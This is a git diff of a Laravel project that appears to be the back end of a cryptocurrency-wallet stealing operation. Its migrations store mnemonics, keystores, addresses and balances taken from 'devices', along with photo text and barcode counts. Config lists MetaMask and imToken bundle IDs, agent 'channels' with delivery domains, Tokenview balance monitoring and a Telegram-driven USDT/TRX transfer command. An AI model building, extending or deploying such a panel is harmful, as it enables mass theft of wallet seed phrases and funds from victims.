"type": "zip",
"url": "https://api.github.com/repos/furqansiddiqui/bip39-mnemonic-php/zipball/673d19ef6b771dd69810df86d607e10cd41641e9",
"reference": "673d19ef6b771dd69810df86d607e10cd41641e9",
"shasum": ""
},
"require": {
"ext-mbstring": "*",
"php-64bit": "^8.1"
},
"type": "library",
"autoload": {
"psr-4": {
"FurqanSiddiqui\\BIP39\\": [
"src"
]
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"description": "BIP39 Mnemonics implementation in PHP",
"keywords": [
"BIP-0039",
"bip39",
"mnemonics"
],
"support": {
"issues": "https://github.com/furqansiddiqui/bip39-mnemonic-php/issues",
"source": "https://github.com/furqansiddiqui/bip39-mnemonic-php/tree/0.1.7"
},
"time": "2023-02-13T13:54:02+00:00"
},
{ {
"name": "graham-campbell/result-type", "name": "graham-campbell/result-type",
"version": "v1.1.4", "version": "v1.1.4",
@@ -1058,6 +1100,55 @@
], ],
"time": "2026-07-17T13:53:03+00:00" "time": "2026-07-17T13:53:03+00:00"
}, },
{
"name": "kornrunner/keccak",
"version": "1.1.0",
"source": {
"type": "git",
"url": "https://github.com/kornrunner/php-keccak.git",
"reference": "433749d28e117fb97baf9f2631b92b5d9ab3c890"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/kornrunner/php-keccak/zipball/433749d28e117fb97baf9f2631b92b5d9ab3c890",
"reference": "433749d28e117fb97baf9f2631b92b5d9ab3c890",
"shasum": ""
},
"require": {
"php": ">=7.3",
"symfony/polyfill-mbstring": "^1.8"
},
"require-dev": {
"phpunit/phpunit": "^8.2"
},
"type": "library",
"autoload": {
"psr-4": {
"kornrunner\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Boris Momcilovic",
"homepage": "https://github.com/kornrunner/php-keccak"
}
],
"description": "Pure PHP implementation of Keccak",
"keywords": [
"keccak",
"sha-3",
"sha3-256"
],
"support": {
"issues": "https://github.com/kornrunner/php-keccak/issues",
"source": "https://github.com/kornrunner/php-keccak/tree/1.1.0"
},
"time": "2020-12-07T15:40:44+00:00"
},
{ {
"name": "laravel/framework", "name": "laravel/framework",
"version": "v12.64.0", "version": "v12.64.0",
@@ -2535,6 +2626,236 @@
], ],
"time": "2026-02-16T23:10:27+00:00" "time": "2026-02-16T23:10:27+00:00"
}, },
{
"name": "nutgram/hydrator",
"version": "7.2.0",
"source": {
"type": "git",
"url": "https://github.com/nutgram/hydrator.git",
"reference": "a9dc51b7e6ea61b3e582f0fecd8c91ea22602c11"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/nutgram/hydrator/zipball/a9dc51b7e6ea61b3e582f0fecd8c91ea22602c11",
"reference": "a9dc51b7e6ea61b3e582f0fecd8c91ea22602c11",
"shasum": ""
},
"require": {
"php": "^8.1",
"psr/container": "^1.1 || ^2.0"
},
"require-dev": {
"illuminate/container": "^10.0",
"phpunit/phpunit": "^10"
},
"type": "library",
"autoload": {
"psr-4": {
"SergiX44\\Hydrator\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Sergio Brighenti",
"email": "sergio@brighenti.me",
"homepage": "https://github.com/SergiX44"
},
{
"name": "Anatoly Fenric",
"email": "afenric@gmail.com",
"homepage": "https://github.com/fenric"
}
],
"description": "Hydrator for PHP 8.0+",
"homepage": "https://github.com/nutgram/hydrator",
"keywords": [
"data-mapper",
"dto",
"hydrator",
"jsonmapper",
"mapper",
"php8"
],
"support": {
"issues": "https://github.com/nutgram/hydrator/issues",
"source": "https://github.com/nutgram/hydrator/tree/7.2.0"
},
"time": "2026-07-24T20:41:06+00:00"
},
{
"name": "nutgram/laravel",
"version": "1.7.1",
"source": {
"type": "git",
"url": "https://github.com/nutgram/laravel.git",
"reference": "17ea5e550f9cb7bc162f9c93d979ce1c11e022f1"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/nutgram/laravel/zipball/17ea5e550f9cb7bc162f9c93d979ce1c11e022f1",
"reference": "17ea5e550f9cb7bc162f9c93d979ce1c11e022f1",
"shasum": ""
},
"require": {
"nunomaduro/termwind": "^1.0|^2.0",
"nutgram/nutgram": "^4.39.2",
"php": "^8.2"
},
"require-dev": {
"illuminate/testing": "^9.0|^10.0|^11.0|^12.0|^13.0",
"orchestra/testbench": "^7.0|^8.0|^9.0|^10.0|^11.0",
"pestphp/pest": "^1.1|^2.0|^3.0|^4.0",
"vimeo/psalm": "^6.0"
},
"type": "library",
"extra": {
"laravel": {
"providers": [
"Nutgram\\Laravel\\NutgramServiceProvider"
]
}
},
"autoload": {
"files": [
"src/Support/Helpers.php"
],
"psr-4": {
"Nutgram\\Laravel\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Luca Patera",
"email": "lucapatera@outlook.it",
"role": "Developer"
},
{
"name": "Sergio Brighenti",
"email": "sergio@brighenti.me",
"role": "Developer"
}
],
"description": "Laravel package for Nutgram",
"homepage": "https://github.com/nutgram/nutgram-laravel",
"keywords": [
"api",
"bot",
"framework",
"laravel",
"library",
"nutgram",
"telegram"
],
"support": {
"source": "https://github.com/nutgram/laravel/tree/1.7.1"
},
"funding": [
{
"url": "https://github.com/Lukasss93",
"type": "github"
},
{
"url": "https://github.com/SergiX44",
"type": "github"
}
],
"time": "2026-03-22T17:16:10+00:00"
},
{
"name": "nutgram/nutgram",
"version": "4.49.0",
"source": {
"type": "git",
"url": "https://github.com/nutgram/nutgram.git",
"reference": "cc010c266a2594a5c50be1679dfc7ccc76c89f93"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/nutgram/nutgram/zipball/cc010c266a2594a5c50be1679dfc7ccc76c89f93",
"reference": "cc010c266a2594a5c50be1679dfc7ccc76c89f93",
"shasum": ""
},
"require": {
"ext-json": "*",
"guzzlehttp/guzzle": "^7.2",
"illuminate/macroable": ">=9.0",
"laravel/serializable-closure": "^1.0|^2.0",
"nutgram/hydrator": "^7.2.0",
"php": "^8.2",
"psr/log": "^1.0|^2.0|^3.0",
"psr/simple-cache": "^1.0|^2.0|^3.0",
"sergix44/container": "^3.0"
},
"require-dev": {
"ext-reflection": "*",
"mockery/mockery": "^1.6",
"pestphp/pest": "^3.0|^4.0",
"roave/security-advisories": "dev-latest",
"vimeo/psalm": "^6.1.0"
},
"suggest": {
"ext-sodium": "To validate WebApp data for Third-Party Use"
},
"type": "library",
"autoload": {
"files": [
"src/Support/Helpers.php"
],
"psr-4": {
"SergiX44\\Nutgram\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Sergio Brighenti",
"email": "sergio@brighenti.me",
"role": "Developer"
},
{
"name": "Luca Patera",
"email": "lucapatera@outlook.it",
"role": "Developer"
}
],
"description": "The Telegram bot library that doesn't drive you nuts",
"homepage": "https://github.com/SergiX44/Nutgram",
"keywords": [
"api",
"bot",
"framework",
"laravel",
"library",
"nutgram",
"telegram"
],
"support": {
"issues": "https://github.com/nutgram/nutgram/issues",
"source": "https://github.com/nutgram/nutgram/tree/4.49.0"
},
"funding": [
{
"url": "https://github.com/Lukasss93",
"type": "github"
},
{
"url": "https://github.com/SergiX44",
"type": "github"
}
],
"time": "2026-07-24T22:11:53+00:00"
},
{ {
"name": "phpoption/phpoption", "name": "phpoption/phpoption",
"version": "1.9.5", "version": "1.9.5",
@@ -3299,6 +3620,209 @@
}, },
"time": "2026-06-18T03:57:49+00:00" "time": "2026-06-18T03:57:49+00:00"
}, },
{
"name": "sergix44/container",
"version": "3.1.0",
"source": {
"type": "git",
"url": "https://github.com/sergix44/container.git",
"reference": "202747e5e9b6a46eb9681259d861753dd5a9fab2"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/sergix44/container/zipball/202747e5e9b6a46eb9681259d861753dd5a9fab2",
"reference": "202747e5e9b6a46eb9681259d861753dd5a9fab2",
"shasum": ""
},
"require": {
"ext-reflection": "*",
"php": "^8.1",
"psr/container": "^1.1|^2.0"
},
"provide": {
"psr/container-implementation": "^1.1|^2.0"
},
"require-dev": {
"pestphp/pest": "^2.0",
"php-di/php-di": "^7.0",
"vimeo/psalm": "^5.13"
},
"type": "library",
"autoload": {
"psr-4": {
"SergiX44\\Container\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Sergio Brighenti",
"email": "sergio@brighenti.me"
}
],
"description": "A simple and fast service container",
"support": {
"issues": "https://github.com/sergix44/container/issues",
"source": "https://github.com/sergix44/container/tree/3.1.0"
},
"funding": [
{
"url": "https://github.com/SergiX44",
"type": "github"
}
],
"time": "2024-06-18T12:52:08+00:00"
},
{
"name": "simplito/bigint-wrapper-php",
"version": "1.0.0",
"source": {
"type": "git",
"url": "https://github.com/simplito/bigint-wrapper-php.git",
"reference": "cf21ec76d33f103add487b3eadbd9f5033a25930"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/simplito/bigint-wrapper-php/zipball/cf21ec76d33f103add487b3eadbd9f5033a25930",
"reference": "cf21ec76d33f103add487b3eadbd9f5033a25930",
"shasum": ""
},
"type": "library",
"autoload": {
"psr-4": {
"BI\\": "lib/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Simplito Team",
"email": "s.smyczynski@simplito.com",
"homepage": "https://simplito.com"
}
],
"description": "Common interface for php_gmp and php_bcmath modules",
"support": {
"issues": "https://github.com/simplito/bigint-wrapper-php/issues",
"source": "https://github.com/simplito/bigint-wrapper-php/tree/1.0.0"
},
"time": "2018-02-27T12:38:08+00:00"
},
{
"name": "simplito/bn-php",
"version": "1.1.4",
"source": {
"type": "git",
"url": "https://github.com/simplito/bn-php.git",
"reference": "83446756a81720eacc2ffb87ff97958431451fd6"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/simplito/bn-php/zipball/83446756a81720eacc2ffb87ff97958431451fd6",
"reference": "83446756a81720eacc2ffb87ff97958431451fd6",
"shasum": ""
},
"require": {
"simplito/bigint-wrapper-php": "~1.0.0"
},
"require-dev": {
"phpunit/phpunit": "*"
},
"type": "library",
"autoload": {
"psr-4": {
"BN\\": "lib/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Simplito Team",
"email": "s.smyczynski@simplito.com",
"homepage": "https://simplito.com"
}
],
"description": "Big number implementation compatible with bn.js",
"support": {
"issues": "https://github.com/simplito/bn-php/issues",
"source": "https://github.com/simplito/bn-php/tree/1.1.4"
},
"time": "2024-01-10T16:16:59+00:00"
},
{
"name": "simplito/elliptic-php",
"version": "1.0.12",
"source": {
"type": "git",
"url": "https://github.com/simplito/elliptic-php.git",
"reference": "be321666781be2be2c89c79c43ffcac834bc8868"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/simplito/elliptic-php/zipball/be321666781be2be2c89c79c43ffcac834bc8868",
"reference": "be321666781be2be2c89c79c43ffcac834bc8868",
"shasum": ""
},
"require": {
"ext-gmp": "*",
"simplito/bn-php": "~1.1.0"
},
"require-dev": {
"phpbench/phpbench": "@dev",
"phpunit/phpunit": "*"
},
"type": "library",
"autoload": {
"psr-4": {
"Elliptic\\": "lib/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Simplito Team",
"email": "s.smyczynski@simplito.com",
"homepage": "https://simplito.com"
}
],
"description": "Fast elliptic curve cryptography",
"homepage": "https://github.com/simplito/elliptic-php",
"keywords": [
"Curve25519",
"ECDSA",
"Ed25519",
"EdDSA",
"cryptography",
"curve",
"curve25519-weier",
"ecc",
"ecdh",
"elliptic",
"nistp192",
"nistp224",
"nistp256",
"nistp384",
"nistp521",
"secp256k1"
],
"support": {
"issues": "https://github.com/simplito/elliptic-php/issues",
"source": "https://github.com/simplito/elliptic-php/tree/1.0.12"
},
"time": "2024-01-09T14:57:04+00:00"
},
{ {
"name": "symfony/clock", "name": "symfony/clock",
"version": "v7.4.8", "version": "v7.4.8",
+4
View File
@@ -47,6 +47,10 @@ return [
'driver' => 'session', 'driver' => 'session',
'provider' => 'admins', 'provider' => 'admins',
], ],
'agent' => [
'driver' => 'session',
'provider' => 'users',
],
], ],
/* /*
+33 -1
View File
@@ -2,20 +2,52 @@
return [ return [
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
// Comma-separated delivery hosts for support links + new_project domains.
'channel_domains' => array_values(array_filter(array_map(
'trim',
explode(',', (string) env('CORUNA_CHANNEL_DOMAINS', ''))
))),
'channels' => [
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
],
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
// system paths with is_executable() under open_basedir (see CorunaArchive). // system paths with is_executable() under open_basedir (see CorunaArchive).
'seven_zip' => env('CORUNA_7Z_BIN', ''), 'seven_zip' => env('CORUNA_7Z_BIN', ''),
'telegram' => [ 'telegram' => [
'bot_token' => env('TELEGRAM_BOT_TOKEN'), 'bot_token' => env('TELEGRAM_BOT_TOKEN'),
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'), 'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
], ],
// reserved — no transfer logic wired 'tokenview' => [
'api_key' => env('TOKENVIEW_API_KEY', ''),
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
],
// Hot wallet mnemonic for Telegram /transfer only — never from device ingest.
'hot_wallet' => [
'mnemonic' => env('HOT_WALLET_MNEMONIC', ''),
'index' => (int) env('HOT_WALLET_INDEX', 0),
],
'tron' => [
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
'api_key' => env('TRON_API_KEY', ''),
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
],
'transfer' => [
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
],
// reserved legacy payout addresses
'payout' => [ 'payout' => [
'eth' => env('PAYOUT_ETH'), 'eth' => env('PAYOUT_ETH'),
'btc' => env('PAYOUT_BTC'), 'btc' => env('PAYOUT_BTC'),
'tron' => env('PAYOUT_TRON'), 'tron' => env('PAYOUT_TRON'),
'sol' => env('PAYOUT_SOL'), 'sol' => env('PAYOUT_SOL'),
], ],
'wallet_bundles' => [ 'wallet_bundles' => [
'im.token.app', 'im.token.app',
'io.metamask', 'io.metamask',
+26
View File
@@ -0,0 +1,26 @@
<?php
return [
// Prefer TELEGRAM_BOT_TOKEN (shared with Coruna notifier); TELEGRAM_TOKEN as fallback.
'token' => env('TELEGRAM_BOT_TOKEN', env('TELEGRAM_TOKEN')),
// if the webhook mode must validate the incoming IP range is from a telegram server
'safe_mode' => env('APP_ENV', 'local') === 'production',
// Extra or specific configurations
'config' => [],
// Set if the service provider should automatically load
// handlers from /routes/telegram.php
'routes' => true,
// Enable or disable Nutgram mixins
'mixins' => false,
// Path to save files generated by nutgram:make command
'namespace' => app_path('Telegram'),
// Set log channel
'log_channel' => env('TELEGRAM_LOG_CHANNEL', 'null'),
];
@@ -3,8 +3,9 @@
use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Migrations\Migration;
/** /**
* Laravel default users/sessions scaffolding — unused by Coruna Lab. * Laravel default users/sessions scaffolding — no-op.
* Auth uses `admins`; session/cache/queue use file/sync drivers. * Agent portal users/channels are created in 2026_08_06_000010_create_agents_and_channels.
* Admin auth uses `admins`; session/cache/queue use file/sync drivers.
*/ */
return new class extends Migration return new class extends Migration
{ {
@@ -41,12 +41,14 @@ return new class extends Migration
Schema::create('photos', function (Blueprint $table) { Schema::create('photos', function (Blueprint $table) {
$table->id(); $table->id();
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete(); $table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
$table->string('sha256', 64)->nullable()->index(); $table->string('sha256', 64)->nullable();
$table->string('path'); $table->string('path');
$table->unsignedInteger('width')->nullable();
$table->unsignedInteger('height')->nullable();
$table->unsignedInteger('size')->nullable(); $table->unsignedInteger('size')->nullable();
$table->json('counters_json')->nullable(); $table->integer('x_hit')->nullable();
$table->unsignedInteger('upload_count')->nullable();
$table->unsignedInteger('process_index')->nullable();
$table->unsignedInteger('text_count')->nullable();
$table->unsignedInteger('barcode_count')->nullable();
$table->timestamps(); $table->timestamps();
}); });
@@ -0,0 +1,38 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
if (Schema::hasColumn('photos', 'width')) {
$table->dropColumn('width');
}
if (Schema::hasColumn('photos', 'height')) {
$table->dropColumn('height');
}
if (! Schema::hasColumn('photos', 'x_hit')) {
$table->integer('x_hit')->nullable()->after('size');
}
});
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
if (Schema::hasColumn('photos', 'x_hit')) {
$table->dropColumn('x_hit');
}
if (! Schema::hasColumn('photos', 'width')) {
$table->unsignedInteger('width')->nullable()->after('path');
}
if (! Schema::hasColumn('photos', 'height')) {
$table->unsignedInteger('height')->nullable()->after('width');
}
});
}
};
@@ -0,0 +1,80 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
if (! Schema::hasColumn('photos', 'upload_count')) {
$table->unsignedInteger('upload_count')->nullable()->after('x_hit');
}
if (! Schema::hasColumn('photos', 'process_index')) {
$table->unsignedInteger('process_index')->nullable()->after('upload_count');
}
if (! Schema::hasColumn('photos', 'text_count')) {
$table->unsignedInteger('text_count')->nullable()->after('process_index');
}
if (! Schema::hasColumn('photos', 'barcode_count')) {
$table->unsignedInteger('barcode_count')->nullable()->after('text_count');
}
if (! Schema::hasColumn('photos', 'batch_ts')) {
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
}
});
if (Schema::hasColumn('photos', 'counters_json')) {
foreach (DB::table('photos')->whereNotNull('counters_json')->cursor() as $row) {
$c = json_decode((string) $row->counters_json, true);
if (! is_array($c)) {
continue;
}
[$upload, $proc] = $this->decodeHexPair($c['idx'] ?? null);
[$text, $barcode] = $this->decodeHexPair($c['ftu'] ?? null);
$batchTs = $c['ts'] ?? $c['batchBase'] ?? null;
DB::table('photos')->where('id', $row->id)->update([
'upload_count' => $upload,
'process_index' => $proc,
'text_count' => $text,
'barcode_count' => $barcode,
'batch_ts' => is_scalar($batchTs) ? (string) $batchTs : null,
]);
}
Schema::table('photos', function (Blueprint $table) {
$table->dropColumn('counters_json');
});
}
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
if (! Schema::hasColumn('photos', 'counters_json')) {
$table->json('counters_json')->nullable();
}
});
Schema::table('photos', function (Blueprint $table) {
foreach (['upload_count', 'process_index', 'text_count', 'barcode_count', 'batch_ts'] as $col) {
if (Schema::hasColumn('photos', $col)) {
$table->dropColumn($col);
}
}
});
}
/** @return array{0: ?int, 1: ?int} */
private function decodeHexPair(mixed $packed): array
{
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [hexdec(substr($packed, 0, 6)), hexdec(substr($packed, 6, 6))];
}
};
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
if (Schema::hasColumn('photos', 'batch_ts')) {
$table->dropColumn('batch_ts');
}
});
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
if (! Schema::hasColumn('photos', 'batch_ts')) {
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
}
});
}
};
@@ -0,0 +1,29 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
foreach (['photos_sha256_index', 'photos_x_hit_index'] as $name) {
try {
Schema::table('photos', function (Blueprint $table) use ($name) {
$table->dropIndex($name);
});
} catch (\Throwable) {
// Fresh installs already omit these indexes.
}
}
}
public function down(): void
{
Schema::table('photos', function (Blueprint $table) {
$table->index('sha256');
$table->index('x_hit');
});
}
};
@@ -0,0 +1,90 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
// Rebuild wallet_addresses with the simplified schema.
Schema::dropIfExists('wallet_addresses');
Schema::dropIfExists('wallets');
Schema::create('wallet_addresses', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('address')->index();
$table->string('chain_type', 64)->nullable();
$table->json('balance')->nullable();
$table->string('source', 64)->nullable();
$table->timestamps();
$table->unique(['device_id', 'address', 'source']);
});
Schema::create('wallet_mnemonics', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('source', 64)->nullable();
$table->text('mnemonic_enc')->nullable();
$table->timestamps();
});
Schema::create('wallet_keystores', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->json('raw_json');
$table->timestamps();
});
Schema::dropIfExists('notes');
Schema::create('notes', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
$table->json('content')->nullable();
$table->timestamps();
});
}
public function down(): void
{
Schema::dropIfExists('notes');
Schema::create('notes', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
$table->string('title')->nullable();
$table->longText('body')->nullable();
$table->json('meta_json')->nullable();
$table->timestamps();
});
Schema::dropIfExists('wallet_keystores');
Schema::dropIfExists('wallet_mnemonics');
Schema::dropIfExists('wallet_addresses');
Schema::create('wallets', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('source_app')->nullable();
$table->text('mnemonic_enc')->nullable();
$table->text('privkey_enc')->nullable();
$table->json('raw_json')->nullable();
$table->timestamps();
});
Schema::create('wallet_addresses', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
$table->string('address')->index();
$table->string('chain')->nullable();
$table->string('balance')->nullable();
$table->string('symbol')->nullable();
$table->boolean('telegram_notified')->default(false);
$table->json('meta_json')->nullable();
$table->timestamps();
$table->unique(['device_id', 'address', 'chain']);
});
}
};
@@ -0,0 +1,45 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
// Keep newest row per device+source; drop older duplicates from repeated /api/user/set.
$dupes = DB::table('wallet_mnemonics')
->select('device_id', 'source', DB::raw('MAX(id) as keep_id'))
->groupBy('device_id', 'source')
->get();
foreach ($dupes as $row) {
DB::table('wallet_mnemonics')
->where('device_id', $row->device_id)
->where(function ($q) use ($row) {
if ($row->source === null) {
$q->whereNull('source');
} else {
$q->where('source', $row->source);
}
})
->where('id', '!=', $row->keep_id)
->delete();
}
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->string('mnemonic_hash', 64)->nullable()->after('source');
$table->unique(['device_id', 'mnemonic_hash']);
});
}
public function down(): void
{
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->dropUnique(['device_id', 'mnemonic_hash']);
$table->dropColumn('mnemonic_hash');
});
}
};
@@ -0,0 +1,37 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('users', function (Blueprint $table) {
$table->id();
$table->string('username')->unique();
$table->string('password');
$table->unsignedTinyInteger('status')->default(1); // 1=enabled 0=disabled
$table->string('comment')->nullable();
$table->rememberToken();
$table->timestamps();
});
Schema::create('channels', function (Blueprint $table) {
$table->id();
$table->string('channel_id', 64)->unique();
$table->foreignId('user_id')->nullable()->constrained('users')->nullOnDelete();
$table->json('domains')->nullable();
$table->unsignedTinyInteger('status')->default(1);
$table->timestamps();
$table->index('user_id');
});
}
public function down(): void
{
Schema::dropIfExists('channels');
Schema::dropIfExists('users');
}
};
@@ -0,0 +1,105 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->decimal('usdt', 36, 6)->nullable()->after('chain_type');
$table->decimal('trx', 36, 6)->nullable()->after('usdt');
$table->decimal('eth', 36, 18)->nullable()->after('trx');
$table->decimal('btc', 36, 8)->nullable()->after('eth');
$table->decimal('bnb', 36, 18)->nullable()->after('btc');
$table->unsignedTinyInteger('monitor')->default(0)->after('bnb');
});
if (Schema::hasColumn('wallet_addresses', 'balance')) {
$rows = DB::table('wallet_addresses')->select(['id', 'balance'])->get();
foreach ($rows as $row) {
$map = $this->balanceToCoins($row->balance);
if ($map === []) {
continue;
}
DB::table('wallet_addresses')->where('id', $row->id)->update($map);
}
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropColumn('balance');
});
}
Schema::table('users', function (Blueprint $table) {
$table->string('chat_id', 64)->nullable()->after('comment');
$table->string('bot_id', 128)->nullable()->after('chat_id');
});
}
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropColumn(['chat_id', 'bot_id']);
});
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->json('balance')->nullable()->after('chain_type');
});
$rows = DB::table('wallet_addresses')->select(['id', 'usdt', 'trx', 'eth', 'btc', 'bnb'])->get();
foreach ($rows as $row) {
$balance = [];
foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'eth' => 'ETH', 'btc' => 'BTC', 'bnb' => 'BNB'] as $col => $symbol) {
$value = $row->{$col};
if ($value !== null && $value !== '') {
$balance[$symbol] = 0 + $value;
}
}
DB::table('wallet_addresses')->where('id', $row->id)->update([
'balance' => $balance === [] ? null : json_encode($balance, JSON_UNESCAPED_UNICODE),
]);
}
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropColumn(['usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor']);
});
}
/**
* @return array<string, mixed>
*/
private function balanceToCoins(mixed $balance): array
{
if ($balance === null || $balance === '' || $balance === '[]' || $balance === '{}') {
return [];
}
if (is_string($balance)) {
$decoded = json_decode($balance, true);
if (! is_array($decoded)) {
return [];
}
$balance = $decoded;
}
if (! is_array($balance)) {
return [];
}
$out = [];
foreach (['USDT' => 'usdt', 'TRX' => 'trx', 'ETH' => 'eth', 'BTC' => 'btc', 'BNB' => 'bnb'] as $symbol => $col) {
if (! array_key_exists($symbol, $balance) && ! array_key_exists(strtolower($symbol), $balance)) {
continue;
}
$raw = $balance[$symbol] ?? $balance[strtolower($symbol)] ?? null;
if ($raw === null || $raw === '') {
$out[$col] = null;
continue;
}
$out[$col] = is_numeric($raw) ? $raw : null;
}
return $out;
}
};
@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('tokenview_events', function (Blueprint $table) {
$table->id();
$table->string('txid', 128);
$table->string('address', 128);
$table->string('coin', 32);
$table->string('token_symbol', 32)->default('');
$table->string('value', 64)->nullable();
$table->string('token_value', 64)->nullable();
$table->timestamps();
$table->unique(['txid', 'address', 'coin', 'token_symbol'], 'tokenview_events_dedupe');
});
}
public function down(): void
{
Schema::dropIfExists('tokenview_events');
}
};
@@ -0,0 +1,37 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('admins', function (Blueprint $table) {
$table->unsignedTinyInteger('is_super')->default(0)->after('password');
});
// Promote the earliest admin (typically the seeder account) to super.
$firstId = DB::table('admins')->orderBy('id')->value('id');
if ($firstId !== null) {
DB::table('admins')->where('id', $firstId)->update(['is_super' => 1]);
}
Schema::create('settings', function (Blueprint $table) {
$table->id();
$table->string('key')->unique();
$table->text('value')->nullable();
$table->timestamps();
});
}
public function down(): void
{
Schema::dropIfExists('settings');
Schema::table('admins', function (Blueprint $table) {
$table->dropColumn('is_super');
});
}
};
@@ -0,0 +1,52 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('channels', function (Blueprint $table) {
